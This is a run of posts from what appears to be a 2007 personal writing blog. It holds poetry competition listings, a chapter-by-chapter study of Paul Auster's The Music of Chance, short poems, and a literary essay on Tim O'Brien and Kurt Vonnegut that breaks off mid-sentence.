16. Closing Date: last post on Friday 30th November 2007.

Entries by post only to

William Trevor Short Story Competition,
37 Upper Cork Street,
County Cork,

UK Poet

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Six Sentences Wed, 24 Oct 2007 21:13:37 +0000 Ivor Griffiths I came across a good site that accepts prose submissions some of which are published on the site.

I submitted a piece and It’s going to be published on the 6th December 2007. The website address is

The site is called six sentences. The the idea is to write, in no more than six sentences, a prose piece. Poetry submissions are not accepted. There are some excellent stories published there, which are often thought provoking and emotive. The standard of writing is high. Some authors cram an amazing amount into six sentences. Flash fiction is fun to write as it is so compact. The challenge of a short story in only six sentences is to be precise, evocative and concise.

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Wolf read by Ivor Griffiths Fri, 19 Oct 2007 13:50:12 +0000 Ivor Griffiths I have recorded my last two poems.

Just click the links below to listen. Hope you enjoy them.

Wolf” by Ivor Griffiths 2007

Pussy” by Ivor Griffiths 2007

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The Music of Chance by Paul Auster Fri, 19 Oct 2007 12:25:31 +0000 Ivor Griffiths This is a chapter by chapter consideration of The Music of Chance by Paul Auster. I haven’t quite finished it yet and will be adding references and a bibliography in due course.

Point of view: Third Person Limited
Main Character: Nashe
Themes: death, loss, fatherhood, identity, chance, coincidence, isolation and control.
Portrayal of women: one is a kindhearted whore, Nashe’s sister is caring and loyal, Nashe’s ex-wife betrayed him and abandoned their daughter, Nashe’s next love spurns him for another. Possi’s mother is bitter and resentful: overall negative portrayal of women and mothers.

Chapter One: we learn that the main character, Nashe, has been abandoned by his wife who has run off with a man. She left a note but the ink was blurred having been left on a damp counter. They have a daughter. Nashe, a firefighter, leaves her with his sister. He loses her, she is only two. We learn his father abandoned him, but then left him $200,000 which he squanders on road trips, packs in his job, sets up a trust fund for daughter. Has a relationship with a woman but abandons her. She abandons him taking up with another man. We learn that he sells his piano, and everything else, abandoning his possessions and identity. He meets Possi a young lad, beaten up and by the side of the road. He accepts a lift and they head for New York.

Chapter Two: we learn Possi has been in a card game, he plays poker for a living. He was in a game with patsies – lawyers, and was winning. The game is raided and Possi is blamed by the lawyers for the raid and beaten up. He has no money. He tells Nashe about Laurel and Hardy, a couple of older men who won the lottery and play poker badly. Nashe determines to bankroll Possi for fifty per cent of the winnings.

Chapter Three: Nashe begins to realise he is not behaving like himself. They get to New York and stay in a good hotel, Nashe paying. Nashe buys Possi clothes when they go out to an upmarket shop, in which Possi is a little gauche. They go back to hotel, still bonding, they have a drink and then go to the room and Nashe orders food. They have the meal in the hotel room, during which Possi tells Nashe about his father, a person his mother hates because he was sent to prison. He comes back into Possi’s life a couple of times, having made a lot of money in real estate in Florida. Both times he sees him he gets money in the form of hundred dollar bills. Possi makes a meal of the first hundred dollar bill; it is a symbol of his dad. He keeps it for years and then begins to think it might be faked, like his dad, but goes to the bank and realises the note, like his dad is real. This chapter is in part continuing one of the themes in the book of paternity and its fickle nature. Nashe has a Father he does not remember but who gives him money. Similar to Possi’s experience of his own Father; and of course Nashe gives his daughter away but provides a trust fund before abandoning her altogether.

Nashe reads a book, when Possi falls asleep; about Rousseau a baseball player who recounts a test of throwing stones at trees, deceiving himself as Nashe puts it. Nashe knows he must test Possi’s card playing, we learn Nashe himself was once a decent player, but he puts off the test again, wanting Possi to suggest it. The next day Nashe plays Possi, thinks he is a good player and satisfies himself he can win. From this we learn they are both gamblers, both have paternity issues and both are wandering and will accept chance as a guide.

They travel to the country there is a change of scenery. Nashe discusses his life; they talk about the Lindbergh trial briefly. They get to a posh house in the country (House of Usher influence here Edgar Allen Poe).

Chapter Four: Nashe and Possi are shown around the house by the two patsies: Flower and Stone, see the little model city and the broken works of art that each collects. They discover that the pair of them has had lessons from an old professional poker player. They agree the terms of the game. They learn of the old Welsh stone castle they bought and transported to America, that they have ten thousand stones they wish to turn into a wall. Flower, the accountant, explains how numbers are like characters. 10,000 is a repeating number in the text.

Chapter Five: They play, Possi appears to be winning and then Nashe wanders off to stretch his legs. Goes to the little city and removes the two miniature figures of Laurel and Hardy (Possi’s nickname for Flower & Stone). Nashe steals it and puts it in his pocket; it is the first thing Nashe has stolen for years. He goes back to find Possi losing. He gives him his last $2300 dollars and then hocks the car. He loses that. Then they cut double or nothing and Nashe loses that. They owe ten thousand dollars. The pair asks them to build the wall to pay off the debt. Flower is an accountant and Stone an optometrist. They agree to build the wall for $10 an hour each and sleep in a caravan.

Chapter six they begin building the wall, digging a trench, they find they are fenced in. Nashe gets to like it, Possi cracks up and resents the work he must do. Possi wants to leave and believe they could do so. They have a guard watching: Murks, but are fed everyday and provided with accommodation. The bond between Possi and Nashe is established here. The homo-erotic nature of their relationship is suggested by the differing physical appearance of the two characters: Possi small and thin and young; Nashe older (thirty-three – a magic number 3×3=9) and his build and height. The loyalty that Possi shows Nashe could be through guilt or adoration. Possi gets drunk one night and goes to confront Flower and Stone saying “the whole world is run by assholes” he says.

There is much symbolism in this chapter:
a) The Wall itself becoming part of the landscape & a fence that surrounds them and keeps them penned in.
b) Work – the work of building the wall is physical and connected with the earth
c) The Overseer – Murks is like a prison guard, matter of fact but as accommodating as he can be to show he’s just doing his job. Work is fundamental to the remainder of the text.
d) Dictators and landowners – symbolised by Flower and Stone. The miniature city represents the magnitude of their power and that of place. It is a monument to it and a pointless and endless task, like building the wall.
e) Land living (in the caravan) versus city life or a nomadic rootless existence both characters were living before.
f) Manipulation and Mystery are introduced here. Nashe only knows of Flower and Stone what he has been told by Possi and the two men themselves. Invisible overarching powers are considered, and their power to intrude and manipulate rules and lives, in the characters of Flower and Stone, two contrasting objects in themselves.
g) Walking backwards and forwards across the meadow, De Charteau and his theory of space, walking and language. The blueprint is akin to a map. Maps figure in City of Glass.

Both Nashe and Possi believe, as a consequence of the contract, that they can have anything they want. So they ask Murks to get them a few items. Possi wants a deck of cards, the Nashe books and a radio.

They have to dig a long trench, there are blue prints to follow and the work is heavy but easy. The wall cuts diagonally across a field.

Possi believes that Nashe going off for an hour and stealing the little men brought him bad luck and confronts Nashe about this. Meanwhile Murks (sounds like Lurks) suggests that they might want to stay on and earn extra money. They burn the figures (voodoo and magical reference to emphasise the mystery).

Nashe becomes physically stronger as the work progresses but must help Possi as he is not strong enough to lift the stones. Each stone weigh 60 pounds. Nashe can carry one without difficulty. The work involves lifting the stones onto a child-sized cart and wheeling them over to the trench. Thereafter they must lower them into position and secure them with cement. The wall will cut through the meadow and not follow the contours of the land, like a cut through the turf. At first Nashe is exhausted but as the weeks progress he bonds with the environment and is resigned to finishing the task. He derives satisfaction from the work. This is echoed more intensely in the last chapter when he begins to record the stones laid. It is as if after such lengthy periods of repetitive physical work that he is disassociating from reality and merging into a task of work.

Chapter Seven: they are nearing the end of the ten weeks to pay back the ten thousand dollars owed from losing the card game. They want a party and Possi asks for a whore. They get drunk and Possi has sex with the whore who falls for him. Next day Murks presents a bill, it appears in the text as a list of items, for the goods they bought and points out the terms of the contract. Nashe and Possi object but have to comply when confronted with the weakness of their bargaining position. So they have to stay longer. This shows the power of employers and lawyers to compel compliance and manipulate rules. They must both work a few more weeks, which takes them up to Christmas. Possi says he wants to escape; Nashe does not want to as he has a deal and likes the certainty and security of where he is and what he is doing, he is reading and happy, his identity is stable. But they agree a plan: dig a hole at the fence through which Possi crawls. Next day Possi is found by Nashe beaten to a pulp. Murks and his son in law take Possi to hospital, they say, leaving Nashe behind. He gets really mad that he cannot go with Possi. He is physically restrained by the son in law, they are only doing their jobs and enforcing the contract. Nashe resolves to escape and goes to the hole to find it filled in. Flower and Stone in this chapter have disappeared to Paris, France. The detached nature of the power that is controlling and, so Nashe thinks, that has killed Possi is highlighted. Nashe believes Possi to be dead because he tried to escape: showing the arbitrary nature of power.

Chapter Eight: begins by referring to a dream in which Nashe never sees the end, more than a simulacrum which he defines as

“an illusion so rich in details of waking life that Nashe never suspected that he was dreaming.”

Nashe considers why he would not finish the dream (that is escape) and concludes that it is fear of Murks, who now carries a gun and has done since Possi assaulted him. He writes to his sister and lies about why he is delayed and what he is doing. He misses Possi and hates Murks; he becomes lonely and develops a hatred of Murks so intense he has daydreams about hurting him and later even a four-year-old boy whom Murks brings to the site. The boy establishes the humanity of Murks and his detachment from the world in which Nashe resides.

Nashe develops an urge to play music and asks for a cheap electric piano, he has sheet music in the boot of his car. He plays older music and loses himself in it. Nashe believes Possi to have been killed by Murks and buried. But Murks provides weekly progress reports on Possi’s condition. He also takes off his gun when Nashe asks him why he still wears it. Nashe sees this as symbolic but cannot work out Murks’ motivation in disarming himself, does he think himself in such a powerful position that he does not need to bear arms? Then one day Murks brings a child of four to the site and Nashe develops an irrational hatred of the boy accompanied by violent fantasies that often result in the boy’s death. The boy establishes the humanity of Murks and his detachment from the world in which Nashe resides. This change in character could be as a result of stress and the development of the bond between captive and captor. The child is symbolic of his own lost child and childhood, the loss of a father. Then he snaps and feigns illness only to find he is ill with the flu. These references to dreams, simulacrum and fantasies are all post-modern literary devices that are showing the blurring of reality and fiction and the consequential blurring and ultimate loss of identity caused by loss (death, divorce, parting). The living conditions, supervision, faceless arbiters of power, manual labour, ignorance and manipulation symbolise of commerce and the land owning class. The setting is rural and is distorted by an impenetrable fence, thus making it a closed space or cage. In addition the wall is a scar across the meadow symbolising the destructive power of construction. The impact of nature and the animals that inhabit the space with Nashe assumes importance in his mind and he grows fond of crows noticing that many birds have migrated, a contrast to his own situation.

Nashe develops a need to call the hospital and confirm to himself Possi is alive, the news is given by Murks that Possi left hospital, but Murks is also censoring his mail. Nashe chooses to believe that Possi is dead and that is why he has not been contacted by him. Murks is adamant that Possi is alive and discharged himself from hospital.

Nashe gets well and determines to ask Tiffany, the whore, to call the hospital for him and then write to him with the results. Thereafter he realises he wants to have sex with her and fantasises about this. When she arrives they dance and then have sex. He tells her a lot of nonsense about having contacts in the film industry and wants her to stay in the caravan with him. He justifies this by telling himself it will be better for Tiffany, who is fond of Possi, in dealing with the news, he tells her after they have had sex. So he is lying to get an emotional response, thus undermining his viewpoint, as a narrator. He then turns this all into a joke and then tells her about Possi. She is shocked by the news but says she will ring the hospital and then write to him. The fact that Possi does not help him and Tiffany does not contact him is explained by Nashe as being the fault of his captors in censoring his mail and killing Possi. Of course it could equally be that they have simply abandoned him a thought that will have crossed Nashe’s mid as he dismisses these possibilities in favour of the more outlandish explanation. Possi has been beaten up before, it’s how they met, they are in a deserted part of the world but if Stone and Flowers play poker a lot they may know the lawyers and spoken of their win. It is thus possible that a third party did do it and Possi has just left Nashe alone. The story that he tells is further evidence of his change in personality.

Chapter Nine

The last chapter begins with Nashe “Crazy with loneliness.” He is completely isolated now. All the people he loves and has loved are gone. He has slowly disassociated himself from all that he knew through chance encounters and a need to escape. This manifests itself initially in the road trip, clearly influenced by ideas first advanced by Jack Kerouac in On the Road. But for Auster the road trip is represented as soporific and isolating, with the direct result that a relationship that Nashe had wanted formalised by marriage ends. He is rejected for the second time by a woman.

Nashe chooses to believe that the girl had written but that Murks intercepted it.
He notices the birds and change in the leaves, the wall rises, he can see the big house through the trees. He is proud of his wall and begins reading Faulkner’s The Sound and the Fury and notices a line:

“…until someday in very disgust he risks everything on the single blind turn of a card…”
This coincidence echoes the incident in which Nashe lost his car, everything by then, on the turn of a card. Again numbers are figuring here, numbers and money seem coterminous.
The weather becomes foggy and the wall seems to merge with the fog, reality and dreams. Nashe writes down the number of stones he lays each day and believes them to be numerical representations of his inner-self, he was driven to do this by:

“…some compulsion to keep track of himself and not lose sight of where he was.”

Nashe longed for Juliette, his daughter, and imagined her singing the Daughter of Figaro. Nashe thinks about the collection and the miniature village that Stone and Flowers have made, or put together, like him and his wall. It becomes an important symbol for him as he empathises with his captors.

Nashe declines Murks’ offer of the Jeep to transfer the Stones, preferring the old ways of working. He shows assimilation by his surroundings and the effect upon his psyche and behaviour, reminiscent of Zola’s theories. He resolves to leave on the day of his 34th birthday which falls on December 13th. Then he realises he will have to work for another week to accumulate enough travelling money for Christmas.

Nashe continues to build the wall, finishes paying his debt and has his travelling money, and Murks and his son in law offer to take him out to celebrate. Nashe refuses but changes his mind when Murks calls on him, in a last effort to persuade him to socialise with him. Nashe has a few drinks. He realises they are going in the Saab that Nashe lost in the game and is now owned by Murks, the one they took from him. Then he gets drunk and beats Murks’ son in law at pool playing for money, this is a powerful irony. Nashe declines his fifty dollars winnings and tells him to buy his child a present with the money. Nashe asks if he can drive home and Murks agrees. While listening to Haydn, or possibly Mozart Nashe cannot be sure (blurring), at a volume Nashe drives his old car (and life) fast. Murks turns of the radio and Nashe, whilst remonstrating with Murks, takes his eyes off of the road and when he looks back he sees a car and speeds up to die. He makes a conscious decision to destroy the car a symbol of his old life and himself. He has had bad luck since stealing the figures, apart from the win at pool.


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Paul Auster – Travels in the Scriptorium Sun, 07 Oct 2007 20:23:07 +0000 Ivor Griffiths I’ve just finished reading Travels in the Scriptorium by Paul Auster. It continues with the characters first encountered in City of Glass. The hero is Mr. Blank and, like Daniel Quinn, he has identity issues. As in Auster’s other postmodern works there is an examination of time and space together with a meta-narrative. He uses the idea of labelling to consider the semiotics of language.

The writing, as one would expect from Auster, is outstanding. The structure of the text is that of a chapter, although he uses white space to break it up. The dialogue is carefully crafted and draws the reader into the stories within the text that make up the plot. As in City of Glass the story is a literary exploration and uses the idea of mystery to blur reality. Surveillance, confinement and the yearning for an outdoors life are themes that run throughout the text. He also considers the mechanics of writing and in the process explores point of view, structure and stoytelling.

This is a carefully crafted work that I highly recommend.

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Writing Competitions Mon, 01 Oct 2007 12:40:36 +0000 Ivor Griffiths Writing Competitions & Submission Deadlines

Fish Publishing – Short Story Competition – 5000 words max – 30th November 2007 – 20 euros; online submissions only. First prize: 2,500.00 euros.

The South Poetry Magazine – Poetry Submissions – 3 poems max – Deadline 30th November 2007

Each issue of Envoi carries the results of the latest competition with publication of the judges report and of the winning three poems and three runners up.

Ist prize £150
2nd prize £100
3rd prize £50
each winner and three runners up win a complimentary copy with their poem.
The three runners up are also awarded an annual subscription worth £15.
Entries must be made by post.
Deadline for submissions – 20th February, 20th June and 20th October each year.
Each poem should be on a separate sheet.
Please do not put any identification on the poem/s, but enclose a separate sheet with name, address, email contact and titles of poems.
Check the site to confirm details – correct as at October 17th 2007

Submissions to Envoi

Submissions can be made by post or email.
For post, please enclose either UK SAE or IRCs for a response.
Each poem should be on a separate sheet, typed in a clear font, with your name and address on each sheet,
You can submit up to six poems at any one time.
Poems can be in any style If you are sending six poems each should be up to 40 lines.
You can also submit a sequence of six poems or one or two longer poems
Poems should be previously unpublished and not be simultaneous submissions.
Copyright remains with the author
Work will not be returned, so please keep a copy.
You can normally expect a reply to a submission within 4-6 weeks.
The editor reserves the right to make small changes to spelling and grammar.
For email please send poems to the editor in the body of the email (attachments will not be read)
or address to – Jan Fortune-Wood, Envoi, Meirion House, Glan yr afon Tanygrisiau, Blaenau Ffestiniog, Gwynedd, LL41 3SU.

Orbis Poetry Submissions & Prose
Current requirements: besides poems (occasionally upbeat doesn’t come amiss), Orbis welcomes prose (500-1000 words), suggestions for cover artwork and features (500-1000 words; ideas in first instance): subjects for discussion: ‘day in the life’, technical, topical etc. With the latter, Carole explains: ‘We’ve had debates on a variety of subjects: ‘the heresy that poems should be about truth more than words’ (123); ‘I’ll clean toilets at Piccadilly Circus but don’t let me come back as a Poetry Editor’. (124); could Auden be right: ‘when a poem is thought finished, it’s time to put it in the bin’? (125).’She adds: ‘In particular, having been involved with Social Inclusion projects and encouraging access to the Arts (eg South Asian Showcase for Liverpool’s Dead Good Poets Society), I’m interested in work from all such communities, especially young people (under 20s and 20somethings). Even with women writers, although subs are around 50/50, submissions are still a good third less than those from men.’

Submissions by post: four poems; two prose pieces (500-1000 words). Please enclose SAE with ALL correspondence. Overseas: 2 IRCs.

Via email, Overseas only: two poems/one piece of prose in body – no attachments

The Equinox

Submissions of up to four previously unpublished poems at a time are welcome.

Each poem (maximum 40 lines) must include the poet’s name and address. We cannot respond to submissions which do not include an SAE. (Overseas, please include IRCs to the value of £1.20 sterling) Copy deadline: 30th November and 30th June.


Contact address

134b Joy Lane
Kent CT5 4ES

Russi Dordi:
Barbara Dordi:


Barbara Dordi

Poetry Magazines

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Brando’s hat
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Magma MP3 Issue
Modern Poetry in Translation
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Obsessed with pipework
Painted, spoken
Poetry Nation
Poetry Review
Poetry Scotland
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Second Aeon
Smiths Knoll
The Cannon’s Mouth
The Coffee House
The Frogmore Papers
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The London Magazine
The North
The Wolf MP3 Issue

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Your Writing Reviewed Mon, 24 Sep 2007 13:03:43 +0000 Ivor Griffiths Get a review of your work.

As a qualified lecturer, writer, and published Poet I am ideally suited to review your work honestly and objectively.

If you would like feedback for an assignment you are doing at college, or a piece of work you wish to submit you need a review. It doesn’t matter how many times you read your own work it is impossible for you to be objective. I can provide that service.

With Degrees in English Literature (specialising in American Fiction) Creative Writing, Law and IT as well as Post Grad qualifications in Law and IT. My poetry has been published and will be again. So can your work with an informed reader giving professional and constructive advice.

Prices vary depending on the volume of work you wish to have considered. Contact Me for details.

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Suited Connectors by Ivor Griffiths 2007 Sun, 23 Sep 2007 14:11:58 +0000 Ivor Griffiths Suited Connectors

fluttered in woodsmoke
as he sat
hunched before the eye

imagining her pose
on a buttoned leather chair
cloaked by shade

in their chalk white alcove.

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In the style of Austerian cleverness Sun, 23 Sep 2007 03:03:29 +0000 Ivor Griffiths In the style of Austerian cleverness

he’s fondling cards
outside the flat backed bar.
He’s a mottled sheepskin coat
his yellowed fingers curl to white.

When he imagines the twist of her:
the inkling is uneven,
like tarmac steam in the rain.

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Writing Circle Sun, 23 Sep 2007 00:34:10 +0000 Ivor Griffiths Writing Forums

If you like to write creatively it’s likely you will also want to have people read your work. The best way to do this, and the easiest, is on the internet. There are loads of forums for writers. In fact I’m creating one myself at

If you join up you can submit poetry and prose for review and feedback. I am thinking about limiting it to twenty serious writers with the aim of submitting a thousand words of prose and 3 poems per month. So at any given time ten reviews would be needed per month. The forum will be closed to search engines and only registered users wil be able to view the work.

I’m hoping for serious writers to join who want to be published. Perhaps you have completed a degree or post graduate course and want to carry on writing. Perhaps you have been published but want annonymous but informed reviews. Perhaps you just want to be read.

I hope to have a forum up and running soon. In the meantime anyone interested in joining email me.


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Medieval Modicums’ Speak Sun, 23 Sep 2007 00:20:36 +0000 Ivor Griffiths Medieval Modicums’ Speak

Ooh Err, she said, agog, before the tear
streaked ads of errant woes!

I’ve lost me Holy Grail,

the grimace of
the angstified thingy replied

even without needing to speak

Jump on your ‘orse why dontcha?
Go on a quest or summic, she cried (waving ‘er arms about like)

I’m gonna stay ‘ere before the dawn of morn
aglowing in me finest old fashioned stuff, she wailed.

Then wept and wept and wept some more.

Ivor Griffiths 2007

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Poetic Criticism Sat, 22 Sep 2007 23:46:41 +0000 Ivor Griffiths I don’t think you have succeeded with this. A bit nineteenth century and cliched at that.“cutting tools of angst” are you cutting tools of angst or are the tools of angst (sounds like a Philip Jose Farmer novel title) cutting?
“fiery thrust” – Frankensteinien.
“dazzle the reader of this quickstep” at least we’re in the twentieth century here – just.
Then it lapses back to the archaic melodrama with the crescendo of:
“to scorch the page with the glowing blade
of angered observation.” //at least it has some tempo. But the pentameter gives it an even more Jane Eyre feel.

The last stanza actually has a bitter voice, highlighted when referring to
“the bitter critics” // ending as it started with a cliche.

For an exercise in Victoriana poetry that doesn’t really say anything but rather evokes bitterness and “angst” it works. But it reminds me of something I might read on a tombstone in one of those cemetries with a statue of Queen Victoria nearby and gargoyles all over the place. Or a Hammer Horror film with no plot.

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The McCanns should take a Lie Detector Test? Wed, 19 Sep 2007 13:11:42 +0000 Ivor Griffiths I just posted a couple of comments on some UK newspaper websites suggesting this but they’ve been censored. I read the idea on another blog. I must admit that I had not thought of this before. The problem for me with this whole case is that I only know what I read or see. It seems odd to me that they have not thought of this themselves. They seem to have thought of everything else: PR, Lawyers, litigation and so on.

Of course lie detector tests are not determinative in the UK legal system because they are not admissable as evidence. However the case does seem to be playing out in the Court of Public Opinion. I would have thought passing a lie detector test would be more effective in gaining worldwide goodwill than expensive lawyers and a PR machine.

I hope they are innocent, I really do. But whatever the outcome the whole incident is a tragedy for all the family whatever happened. It’s the little girl we should think of.

I think there is a bloodlust in the air. This may or may not be justified.

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Tim O’Brien’s The Things They Carried & Tina Chen Wed, 29 Aug 2007 12:30:55 +0000 Ivor Griffiths This essay will critically analyse the assertion Tina Chen makes, in her 1988 article entitled Unraveling the Deeper Meaning: Exile and the Embodied Poetics of Displacement in Tim O’Brien’s The Things They Carried, that:

“O’Briens vexed preoccupation with the disjunctures that make history unreliable and memory the condition for narrative is engendered by the impossibility of ever achieving an unproblematic return home – whether that return is to family, community…or nation” (Chen T, 1998,p.79)

In addition Kurt Vonnegut’s Slaughterhouse Five is analysed to determine how helpful this statement is when reading the texts. The four constituent parts of Chen’s statement will be analysed: issues concerning displacement, unreliability of history in a postmodernist context, memory as a condition of narrative and exile.

Both texts have links to the Vietnam war, O’Brien was a participant and Vonnegut’s story was written, at least partly, during it and the Cold War and concerns the

Dresden massacre at the end of World War II. In the sixties, against the back drop of McCarthyism, the Kennedys were assassinated, there was a fear of Communism and television as a tool of political influence was being developed in the West. There was a real fear that there would be a Nuclear War. It is against this backdrop that the war was fought and during this time O’Brien experienced war and Vonnegut wrote an anti war novel about it. The quotation in issue is prefaced by an assessment of combat as being a world without rules and the contradiction between “personal memory” and “official history”.

By the mid 20th century there were a number of structural theories concerning human existence in the quest for certainty and explanation. In the 1960′s, the Structuralist movement, based in

France, rejected the existentialist theory that we control our own destiny; structuralism argues that individuals are the product of sociological, psychological and linguistic structures.

Michel Foucault, disagreed with two basic premises of structuralism. First he argued that there were no definite supporting structures to explain the human condition and because he did not accept the existence of any paradigm that would explain behaviour, did not believe it possible to view any society or text objectively. Roland Barthes extrapolated this theory to literary texts and argued that the truth of a text lay with the reader rather than the author. For Barthes the author was, like God, now dead. There are therefore multiple meanings, readings and authorities. This chaotic and fragmented theory is the theoretical basis of postmodernism’s experimentation with form and content.

Both Slaughterhouse Five and The Things They Carried can be defined as postmodernist because both narratives includes the author as characters that discuss the texts self consciously. In The Things They Carried the author and narrator both have the same name. Traditional boundaries between the author and characters is blurred in The Things They Carried by this device and completely removed in Slaughterhouse Five. The other traditional boundaries that exist between history and fiction, truth and lies, historical sources and stories are all blurred and deconstructed in these texts. Postmodernist texts, amongst other things, question accepted versions of history, and the value of official history. However it is not a precise term and not easily defined. Linda Hutcheon says Postmodernism is a contentious and ambiguous label explaining that Postmodernism is “not so much a concept as a problematic: a complex of heterogeneous but interrelated questions which will not be silenced by any spuriously unitary answer” (Hutcheon 2002). Metafiction is a more specific description of these texts, they both link and question history telling and story telling. Patricia Waugh defines metafiction as:

“a term given to fictional writing which self consciously and systematicxally draws attention to its status as an artefact in order to pose questions about the relationship between fiction and reality. In providing a critique of their own methods of construction, such writings not only examine the fundamental structures of narrative fiction, they also explore the possible fictionality of the world outside the literary fictional text.” (Waugh, 2, 1984).

Vonnegut poses the question to the reader: how do you write about a massacre? The difficulties are summarised when the novel both explains itself and confirms its status as metafiction:

“There are almost no characters in this story, and almost no dramatic confrontations, because most of the people in it are so sick, and so much the listless playthings of enormous forces.” (Vonnegut, 1969)

The things they carried exhibits metafictive self consciousness when considering the process of writing. The structure of stories, what makes a good story and how to identify one are all addressed by the narrator. Whole chapters are devoted to form and content in the chapters entitled How to Tell a True War Story and Notes.

“In many cases a true war story cannot be believed. If you believe it, be sceptical. It’s a question of credibility. Often the crazy stuff is true and the normal stuff isn’t, because the normal stuff is necessary to make you believe the truly incredible craziness.”

“In other case you can’t even tell a true war story. Sometimes it’s just beyond telling.” (O’Brien, 1991)

When telling the story of the six-man patrol in the chapter How to Tell a True War Story Sanders says “this next part…you won’t believe.” Going on to explain why: “Because every word is absolutely dead-on true.” This phrase highlights the problem of a story based on memory: if it is so unusual as to be implausible it will not be believed (without firm evidence) even if true; if the story is bland and sanitized it will lack credibility. Chen argues that The Things They Carried is about “the need to tell stories, the ways to tell stories, and the reasons for telling stories.” (Chen, 1988, p.94). She argues that the stories serve the purpose of rationalising alienation and provide it with a purpose or explanation. This contrasts with the recounting of history in which official stories often serve the purpose of concealing and obfuscating the truth.

The conflict between anecdotal evidence and official history is examined in Slaughterhouse Five when Billy Pilgrim is in hospital in a room he shares with a Harvard history professor. He has an official version of the

Dresden bombing. He tells the historian he was there; he is in fact an eye witness. The historian is uninterested in his account and prefers official sources; however, because it had been kept a secret there was very little detail of it recorded in the Official History of the Army Air Force in World War Two. He is sceptical when Billy Pilgrim tells him he was there. He does not ask him about it. He simply states that “It had to be done” (Vonnegut, 1969, p. 144) and “Pity the men who had to do it” (Vonnegut, 1969, p. 145). The professor did not consider that the suppression of the event was wrong and agreed with it: “For fear that a lot of bleeding hearts might not think it was such a wonderful thing to do” (Vonnegut, 1969, p. 140). This encounter between an establishment historian and a witness that is ignored is symbolic of the scepticism with which a postmodernist text treats history.

How much of each book is autobiography is ambiguous. Science Fiction is utilised by Vonnegut to explore the relationship between fiction and reality. At the self declared start of the text (chapter two) we learn that Billy Pilgrim has “come unstuck in time” (Vonnegut, 1969, p. 17) and is a time traveller.

Dresden as an event is fact and the introduction of Billy Pilgrim, displaced to the extent he cannot maintain temporal stability, is a demonstration of the effect of war on an individual as distorting. He is displaced in time, exiled from reality, a metaphor for the psychological effects combat causes. The narrator in The Things They Carried is ostensibly the author and as such is a major character, however in Slaughterhouse Five the story is about Billy Pilgrim and Vonnegut is a minor character.

The Things They Carried is not a collection of short stories, but neither is it one story. The structure of the book reflects the way in which a veteran soldier may talk about memories of war and conflict: discrete events and stories, some first hand, but many, like the chapter Sweetheart of the Song Tra Bong – second hand hearsay, often embellished, but still “true”. The stories would alter on the re-telling. The stories are true to the teller but the listener may discern subtle or gross distortions of the previous version.

In the chapter Sweetheart of Song Tra Bong the reliability of war stories is examined in the guise of Rat Kiley as story teller:

“For Rat Kiley, I think, facts were formed by sensation, not the other way around, and when you listened to one of his stories, you’d find yourself performing rapid calculations in your head, subtracting superlatives, figuring the square root of an absolute and then multiplying by maybe.” (p. 87)

As an optometrist Billy Pilgrim helps others to see more clearly, but he cannot see life clearly because of the war and its effect upon his psyche. He has a breakdown and becomes isolated in the imaginary world of the Tralfamadorians, the zoo and the cage he is kept in are metaphors for the isolation felt by many veterans of all conflicts: “survivors guilt”. Each death in the text is followed by the refrain: “so it goes.” This is a reference to the Tralfamadorians view of death that no one truly dies because of the structure of time. It is natural for Billy Pilgrim, having learned to see time and death differently, to want to correct the erroneous view of time and death that others have andhe tries to do this on a radio show.

In The Things They Carried the relationship between fact and fiction are constantly evaluated, the technique used by O’Brien is more subtle than Vonnegut’s but the preoccupation of both authors with truth is characteristic of Postmodernist texts. The protagonists and narrators both share the same name and characteristics and some aspects of personal history: education, the draft experience and actually fighting in Vietnam and

Dresden respectively. But O’Brien has no daughter that he could take back to

Vietnam, as the protagonist has. The book, in the preface, is dedicated to “Alpha Company, and in particular to Jimmy Cross, Norman Bowker, Rat Kiley, Mitchell Sanders, Henry Dobbins, and Kiowa.” (O’Brien, 1991). This suggests to the reader that the text is autobiographical but it is not. The text often contradicts itself, leading the reader to question the authenticity of the text. When discussing Curt Lemon’s death the narrator describes the incident leading to his death as “exactly true” but later in the text says he has told “many times, many versions” of the same story and then narrates another.

The function of stories in The Things They Carried is considered in detail by Tina Chen. She argues that the stories and bodies are metonyms of

Vietnam. She argues that the use of metonymy “works simultaneously in The Things They Carried to mask and expose the construction of Vietnam as imaginary homeland, the trope that governs the consciousness of the work” (Chen, 1988, p. 84) Her main point is that the use of metonymy infuses the text, Lieutenant Jimmy Cross’s pebble is a metonym for home, as part of the shoreline and “by extension America” (Chen, 1988, p. 85). Home for Cross is symbolised by Martha, however his image of home is a fantasy, she does not love him and never has. When he returns home she rejects him and is cold towards him. This is the reality that most veterans faced when returning home. The psychological impact of the experience is such that there is a sense of separateness felt by them. They are internally isolated because of the experiences. This displacement is examined in the chapter Ghost Soldiers. Subsequent to being forced to leave the combat zone because of an incompetent medic O’Brien wants revenge. Ostensibly because of the pain he suffered. But the real pain is that of being separated from his platoon. Sanders does not want to help O’Brien in his quest for revenge saying:

“People change, situations change. I hate to say this man, but you’re out of touch. Jorgensen – he’s with us now.” (O’Brien, 1991, p. 197)

It is at this moment that O’Brien realises that he has been displaced form where he felt at home: in combat: “I felt something shift inside me. It was anger partly, but it was also a sense of pure and total loss: I didn’t fit anymore.” (O’Brien, 1991, p.197). Chen explains this feeling of displacement by arguing that

Vietnam had become home for O’Brien. His need to write stories, like the need of an old soldier to reminisce, about

Vietnam is similar to Rushdie’s explanation of exile for Chen. This theme of a combat zone, and the feeling of belonging within it, as being so profound that it replaces home is argued by Chen. Her theory explains Bowker’s displacement and isolation in Speaking of Courage, in which he drives round and round a lake, he thinks about

Vietnam and considers that “The town seemed remote somehow.” (O’Brien, 1991, p.140). The constant driving in circles symbolises the endlessness of the effect of combat and that war stories never end. The chapter immediately following it is Notes, a metafictive chapter in which we are told Bowker kills himself.

A letter Bowker sends O’Brien supports Chen’s argument that

Vietnam becomes home. In it he says “That night when Kiowa got wasted, I sort of sank down into the sewage with him…Feels like I’m still in deep shit.” (O’Brien, 1991, p. 155)

Bowker was killed in a “shit field” and sunk into it, becoming part of the land, part of Vietnam, his body a metonym of

Vietnam. Bowker is attempting to articulate that he is also part of Vietnam, which it is now his home and why he feels exiled in

America. This idea of the dead and living becoming part of

Vietnam is explored in the chapter Sweetheart of the Song Tra Bong. An implausible story of a girlfriend who is flow over from

America is told in which she transposes from feminine to masculine in behaviour and then to savage as she becomes part of the land. Whilst officially listed as missing “Mary Anne was still somewhere out there in the dark.” (O’Brien, 1991, p. 106) Her transformation, symbolic of the effects of combat, is so stark that “She was ready for the kill.” (O’Brien, 1991, p.107).

Chen’s thesis is that

Vietnam is a metaphor for home. The soldiers who went there were never able to return, they became part of

